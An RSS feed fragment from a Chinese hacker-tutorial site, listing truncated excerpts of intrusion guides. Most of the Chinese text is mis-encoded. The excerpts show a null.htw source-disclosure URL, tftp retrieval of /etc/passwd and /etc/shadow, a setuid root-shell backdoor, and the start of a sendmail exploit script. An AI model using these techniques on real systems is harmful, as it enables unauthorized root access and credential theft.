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<title>Vi Ê¹ÓÃËµÃ÷(×ª×ÔË®Ä¾Çå»ª) </title>
<link>http://www.20cn.net/ns/cn/jc/data/20010515061550.htm</link>
<author>www.20cn.net</author>
<category>ºÚ¿Í½Ì³Ì</category>
<description><![CDATA[¼ÄÐÅÈË: life (¡ïÒ»ÃÎÈçÊÇ¡ï)
±ê  Ìâ: Vi Ê¹ÓÃËµÃ÷
·¢ÐÅÕ¾: BBS Ë®Ä¾Çå»ªÕ¾ (Wed Jan 22 19:44:58 1997)
À´  Ô´: 166.111.10.128 

µµ°¸ÐðÊö£ºVi Ê¹ÓÃËµÃ÷
ÎÄ¼þ±àºÅ£ºLRG.BUDP.001
Íê³ÉÈÕÆÚ£º1995/09/06
ÎÄ¼þÎ¬»¤£ºasdchen@pc2.hinet.net                                 ... ]]></description>
<pubDate>15 May 2001 06:15:50 GMT</pubDate>
<guid>http://www.20cn.net/ns/cn/jc/data/20010515061550.htm</guid>
<source url="http://www.20cn.net/ns/cn/jc/index.xml">²ËÄñÀÖÔ°</source></item>
<item>
<title>null.htw ×îÐÂÀûÓÃ </title>
<link>http://www.20cn.net/ns/cn/jc/data/20010414002319.htm</link>
<author>www.20cn.net</author>
<category>ºÚ¿Í½Ì³Ì</category>
<description><![CDATA[²é²énull.htw¶¼»áµÃµ½ÕâÐ©ÄÚÈÝ http://ip/null.htw?ciwebhitsfile=/login.asp%20&cirestriction=""&cihilitetype=full 
/login.asp ´Ó/¿ªÊ¼ËãÆð
eg: www.xxx.com/a/a.asp 

ÄÇ¾Í°Ñ/login.asp¸Ä³É/a/a.asp http://ip/null.htw?ciwebhitsfile=/a.asp%20&cirestriction=""&ci ... ]]></description>
<pubDate>14 Apr 2001 00:23:19 GMT</pubDate>
<guid>http://www.20cn.net/ns/cn/jc/data/20010414002319.htm</guid>
<source url="http://www.20cn.net/ns/cn/jc/index.xml">²ËÄñÀÖÔ°</source></item>
<item>
<title>netÃüÁîÏê½â </title>
<link>http://www.20cn.net/ns/cn/jc/data/20010314140856.htm</link>
<author>www.20cn.net</author>
<category>ºÚ¿Í½Ì³Ì</category>
<description><![CDATA[Ðí¶à Windows NT ÍøÂçÃüÁîÒÔ net ¿ªÊ¼¡£ÕâÐ© net ÃüÁîÓÐÒ»Ð©¹«¹²ÊôÐÔ£º 
Í¨¹ý¼üÈë net /? ¿É²éÔÄËùÓÐ¿ÉÓÃµÄ net ÃüÁî¡£ 
Í¨¹ý¼üÈë net help ÃüÁî¿ÉÔÚÃüÁîÐÐÖÐ»ñµÃ net ÃüÁîµÄÓï·¨°ïÖú¡£ÀýÈç£¬ÒªµÃµ½ net acco
unts ÃüÁîµÄ°ïÖú£¬Çë¼üÈë net help accounts¡£ 
ËùÓÐ net ÃüÁî ... ]]></description>
<pubDate>14 Mar 2001 14:08:56 GMT</pubDate>
<guid>http://www.20cn.net/ns/cn/jc/data/20010314140856.htm</guid>
<source url="http://www.20cn.net/ns/cn/jc/index.xml">²ËÄñÀÖÔ°</source></item>
<item>
<title>samsaÍøÂçÈëÇÖ½Ì³Ì°Ë  </title>
<link>http://www.20cn.net/ns/cn/jc/data/20010228004452.htm</link>
<author>www.20cn.net</author>
<category>ºÚ¿Í½Ì³Ì</category>
<description><![CDATA[Áù¡¢×îºóµÄ·è¿ñ£¨ÉÆºó£© 
1) ºóÃÅ 
e.g.ÓÐÒ»´Î£¬°³Í¨¹ý¸ÄÐ´/.rhosts³ÉÁËroot£¬µ«.rhostsºÜÈÝÒ×±»·¢ÏÖµÄÅ¶£¬ÔõÃ´ 
°ì£¿Áô¸öºóÃÅµÄËµ£º 

# rm -f /.rhosts 
# cd /usr/bin 
# ls mscl 
mscl: ÎÞ´ËÎÄ¼þ»òÄ¿Â¼ 
# cp /bin/ksh mscl 
# chmod a+s mscl 
# ls -l mscl 
-r-sr-s ... ]]></description>
<pubDate>28 Feb 2001 00:44:52 GMT</pubDate>
<guid>http://www.20cn.net/ns/cn/jc/data/20010228004452.htm</guid>
<source url="http://www.20cn.net/ns/cn/jc/index.xml">²ËÄñÀÖÔ°</source></item>
<item>
<title>samsaÍøÂçÈëÇÖ½Ì³Ì°Ë </title>
<link>http://www.20cn.net/ns/cn/jc/data/20010129104119.htm</link>
<author>www.20cn.net</author>
<category>ºÚ¿Í½Ì³Ì</category>
<description><![CDATA[Áù¡¢×îºóµÄ·è¿ñ£¨ÉÆºó£© 
1) ºóÃÅ 
e.g.ÓÐÒ»´Î£¬°³Í¨¹ý¸ÄÐ´/.rhosts³ÉÁËroot£¬µ«.rhostsºÜÈÝÒ×±»·¢ÏÖµÄÅ¶£¬ÔõÃ´ 
°ì£¿Áô¸öºóÃÅµÄËµ£º 

# rm -f /.rhosts 
# cd /usr/bin 
# ls mscl 
mscl: ÎÞ´ËÎÄ¼þ»òÄ¿Â¼ 
# cp /bin/ksh mscl 
# chmod a+s mscl 
# ls -l mscl 
-r-sr-s ... ]]></description>
<pubDate>29 Jan 2001 10:41:19 GMT</pubDate>
<guid>http://www.20cn.net/ns/cn/jc/data/20010129104119.htm</guid>
<source url="http://www.20cn.net/ns/cn/jc/index.xml">²ËÄñÀÖÔ°</source></item>
<item>
<title>samsaÍøÂçÈëÇÖ½Ì³ÌÆß </title>
<link>http://www.20cn.net/ns/cn/jc/data/20010129104044.htm</link>
<author>www.20cn.net</author>
<category>ºÚ¿Í½Ì³Ì</category>
<description><![CDATA[2.3) ÆäËûÀàÐÍµÄÂ©¶´£º 
2.3.1) ³ÌÐòµ÷ÊÔºóÃÅ(backdoor for debugging) 
e.g.ÀûÓÃsendmail(8.6.4)µÄÂ©¶´£¬ÈÃÎÒÃÇÏÈ¿´¿´³ÌÐò£º 

---------------------------- begin: sendbug.sh -------------------------- 
#!/bin/sh 

SENDMAIL=/usr/lib/sendmail 
CONFIG=/etc/mail/ ... ]]></description>
<pubDate>29 Jan 2001 10:40:44 GMT</pubDate>
<guid>http://www.20cn.net/ns/cn/jc/data/20010129104044.htm</guid>
<source url="http://www.20cn.net/ns/cn/jc/index.xml">²ËÄñÀÖÔ°</source></item>
<item>
<title>samsaÍøÂçÈëÇÖ½Ì³ÌÁù </title>
<link>http://www.20cn.net/ns/cn/jc/data/20010129104000.htm</link>
<author>www.20cn.net</author>
<category>ºÚ¿Í½Ì³Ì</category>
<description><![CDATA[Îå¡¢ÐÛ°ÔÌìÏÂ£¨rootshell£© 
È¡µÃ³¬¼¶ÓÃ»§È¨ÏÞ 
1)ÀûÓÃ´íÎóÅäÖÃ 
1.1) ÀûÓÃcgi-bin 
e.g.ÓÐÒ»´Î£º 

$ hostname 
victim.com 
$ grep http /etc/inetd.conf 
http stream tcp nowait root /usr/local/etc/httpd/httpd httpd 
(samsa:ÒÔrootÀ´ÔËÐÐhttpd£¬Ì«Íæ»ðÀÖ...) 
$ c ... ]]></description>
<pubDate>29 Jan 2001 10:40:00 GMT</pubDate>
<guid>http://www.20cn.net/ns/cn/jc/data/20010129104000.htm</guid>
<source url="http://www.20cn.net/ns/cn/jc/index.xml">²ËÄñÀÖÔ°</source></item>
<item>
<title>samsaÍøÂçÈëÇÖ½Ì³ÌÎå </title>
<link>http://www.20cn.net/ns/cn/jc/data/20010129103927.htm</link>
<author>www.20cn.net</author>
<category>ºÚ¿Í½Ì³Ì</category>
<description><![CDATA[ËÄ¡¢ÁïÃÅÇËËø 
Ò»µ©ÔÚÄ¿±ê»úÉÏ»ñµÃÒ»¸ö(ÆÕÍ¨ÓÃ»§)shell,ÄÜ×öµÄÊÂÇé¾Í¶àÁË 
1) /etc/passwd , /etc/shadow 
ÄÜ¿´Ôò¿´£¬ÄÜÈ¡ÔòÈ¡£¬ÄÜÆÆÔòÆÆ 
1.1) Ö±½Ó(no NIS) 

$ cat /etc/passwd 
...... 

1.2) NIS(yp:yellow page) 

$ domainname 
cas.ac.cn 
$ ypwhich -d cas.ac.cn ... ]]></description>
<pubDate>29 Jan 2001 10:39:27 GMT</pubDate>
<guid>http://www.20cn.net/ns/cn/jc/data/20010129103927.htm</guid>
<source url="http://www.20cn.net/ns/cn/jc/index.xml">²ËÄñÀÖÔ°</source></item>
<item>
<title>samsaÍøÂçÈëÇÖ½Ì³ÌËÄ </title>
<link>http://www.20cn.net/ns/cn/jc/data/20010129103900.htm</link>
<author>www.20cn.net</author>
<category>ºÚ¿Í½Ì³Ì</category>
<description><![CDATA[Èý¡¢µÇÌÃÈëÊÒ£¨Ô¶³ÌµÇÂ¼£© 
1) telnet 
ÒªµãÊÇÈ¡µÃÓÃ»§ÕÊºÅºÍ±£ÃÜ×Ö 
1.1) È¡µÃÓÃ»§ÕÊºÅ 
1.1.1) Ê¹ÓÃ¡°°×ÊÖÆð¼Ò¡±ÖÐ½éÉÜµÄ·½·¨ 
1.1.2) ÆäËû·½·¨£ºe.g.¸ù¾Ý´ÓÄÇ¸öÕ¾µã¼Ä³öµÄe-mailµØÖ· 
1.2) »ñÈ¡¿ÚÁî 
1.2.1) ¿ÚÁîÆÆ½â 
1.2.1.1) Ê¹ÓÃ¡°¸ô¿ÕÈ¡Îï¡±ÖÐ½éÉÜµÄ·½·¨È¡µÃ/etc/ ... ]]></description>
<pubDate>29 Jan 2001 10:39:00 GMT</pubDate>
<guid>http://www.20cn.net/ns/cn/jc/data/20010129103900.htm</guid>
<source url="http://www.20cn.net/ns/cn/jc/index.xml">²ËÄñÀÖÔ°</source></item>
<item>
<title>samsaÍøÂçÈëÇÖ½Ì³ÌÈý </title>
<link>http://www.20cn.net/ns/cn/jc/data/20010129103827.htm</link>
<author>www.20cn.net</author>
<category>ºÚ¿Í½Ì³Ì</category>
<description><![CDATA[2) Ô¶³Ì¿ØÖÆ 
2.1) DoS¹¥»÷ 
2.1.1) Syn-flooding 
ÏòÄ¿±ê·¢Æð´óÁ¿TCPÁ¬½ÓÇëÇó£¬µ«²»°´TCPÐ­Òé¹æ¶¨Íê³ÉÕý³£µÄ3´ÎÎÕÊÖ£¬µ¼ÖÂÄ¿±êÏµÍ³µÈ´ý ÍøÂç×ÊÔ´£¬´Ó¶øµ¼ÖÂÆäÍøÂç·þÎñ²»¿ÉÓÃ¡£ 
2.1.2) Ping-flooding 
ÏòÄ¿±êÏµÍ³·¢´óÁ¿ping°ü,i.e.ICMP_ECHO°ü£¬Ê¹Ä¿±êµÄÍøÂç½Ó¿ÚÓ¦½Ó²»Ï¾ ... ]]></description>
<pubDate>29 Jan 2001 10:38:27 GMT</pubDate>
<guid>http://www.20cn.net/ns/cn/jc/data/20010129103827.htm</guid>
<source url="http://www.20cn.net/ns/cn/jc/index.xml">²ËÄñÀÖÔ°</source></item>
<item>
<title>samsaÍøÂçÈëÇÖ½Ì³Ì¶þ </title>
<link>http://www.20cn.net/ns/cn/jc/data/20010129103801.htm</link>
<author>www.20cn.net</author>
<category>ºÚ¿Í½Ì³Ì</category>
<description><![CDATA[¶þ¡¢¸ôÉ½´òÅ££¨Ô¶³Ì¹¥»÷£© 
1) ¸ô¿ÕÈ¡Îï:È¡µÃpasswd 
1.1) tftp 

# tftp numen 
tftp> get /etc/passwd 
Error code 2: Access violation 
tftp> get /etc/shadow 
Error code 2: Access violation 
tftp> quit 

(samsa:Ò»ÎÞËù»ñ,µ«ÊÇ...) 

# tftp sun8 
tftp> get /et ... ]]></description>
<pubDate>29 Jan 2001 10:38:01 GMT</pubDate>
<guid>http://www.20cn.net/ns/cn/jc/data/20010129103801.htm</guid>
<source url="http://www.20cn.net/ns/cn/jc/index.xml">²ËÄñÀÖÔ°</source></item>
<item>
<title>samsaÍøÂçÈëÇÖ½Ì³ÌÒ» </title>
<link>http://www.20cn.net/ns/cn/jc/data/20010129103737.htm</link>
<author>www.20cn.net</author>
<category>ºÚ¿Í½Ì³Ì</category>
<description><![CDATA[ÍøÂçÈëÇÖÊµÓÃÕ½ÊõÊÖ²áalpha 

samsa 
1999-5 ±±¾© 

[ÕªÒª] ÈëÇÖÒ»¸öÏµÍ³ÓÐºÜ¶à²½Öè£¬½×¶ÎÐÔºÜÇ¿µÄ¡°¹¤×÷¡±£¬Æä×îÖÕµÄÄ¿ 
±êÊÇ»ñµÃ³¬¼¶ÓÃ»§È¨ÏÞ¡ª¡ª¶ÔÄ¿±êÏµÍ³µÄ¾ø¶Ô¿ØÖÆ¡£´Ó¶Ô¸ÃÏµÍ³Ò»ÎÞËùÖª 
¿ªÊ¼£¬ÎÒÃÇÀûÓÃÆäÌá¹©µÄ¸÷ÖÖÍøÂç·þÎñÊÕ¼¯¹ØÓÚËüµÄÐÅÏ¢£¬ÕâÐ©ÐÅÏ¢±©Â¶ 
³öÏµÍ³ ... ]]></description>
<pubDate>29 Jan 2001 10:37:37 GMT</pubDate>
<guid>http://www.20cn.net/ns/cn/jc/data/20010129103737.htm</guid>
<source url="http://www.20cn.net/ns/cn/jc/index.xml">²ËÄñÀÖÔ°</source></item>
<item>
<title>coolfire½ÌÑ§ÎÄÕÂ°Ë </title>
<link>http://www.20cn.net/ns/cn/jc/data/20010129103221.htm</link>
<author>www.20cn.net</author>
<category>ºÚ¿Í½Ì³Ì</category>
<description><![CDATA[CoolHC Volume 8 By CoolFire Author E-Mail: fetag@ms1.showtower.com.tw
Release Date: 10-20-1997 coolfire@cyberspace.org

[GB Code Chinese Document]

Õâ²»ÊÇÒ»¸ö½ÌÑ§ÎÄ¼þ, Ö»ÊÇ¸æËßÄã¸ÃÈçºÎÆÆ½âÏµÍ³, ºÃÈÃÄãÄÜ¹»½«×Ô¼ºµÄÏµÍ³×÷°²È«µÄ
±£»¤, Èç¹ûÄãÄÜ¹»½«Õâ·ÝÎÄ¼þÍ ... ]]></description>
<pubDate>29 Jan 2001 10:32:21 GMT</pubDate>
<guid>http://www.20cn.net/ns/cn/jc/data/20010129103221.htm</guid>
<source url="http://www.20cn.net/ns/cn/jc/index.xml">²ËÄñÀÖÔ°</source></item>
<item>
<title>coolfire½ÌÑ§ÎÄÕÂÆß </title>
<link>http://www.20cn.net/ns/cn/jc/data/20010129103138.htm</link>
<author>www.20cn.net</author>
<category>ºÚ¿Í½Ì³Ì</category>
<description><![CDATA[CoolHC Volume 7 By CoolFire Author E-Mail: coolfire@cyberspace.org
Release Date: 06-??-1997

Õâ²»ÊÇÒ»¸ö½ÌÑ§ÎÄ¼þ, Ö»ÊÇ¸æËßÄã¸ÃÈçºÎÆÆ½âÏµÍ³, ºÃÈÃÄãÄÜ¹»½«×Ô¼ºµÄÏµÍ³×÷°²È«µÄ
±£»¤, Èç¹ûÄãÄÜ¹»½«Õâ·ÝÎÄ¼þÍêÈ«¿´Íê, Äã¾ÍÄÜ¹»ÖªµÀµçÄÔº§¿ÍÃÇÊÇÈçºÎÈëÇÖÄãµÄµçÄÔ,
ÎÒÊÇ ... ]]></description>
<pubDate>29 Jan 2001 10:31:38 GMT</pubDate>
<guid>http://www.20cn.net/ns/cn/jc/data/20010129103138.htm</guid>
<source url="http://www.20cn.net/ns/cn/jc/index.xml">²ËÄñÀÖÔ°</source></item>
</channel>
</rss>
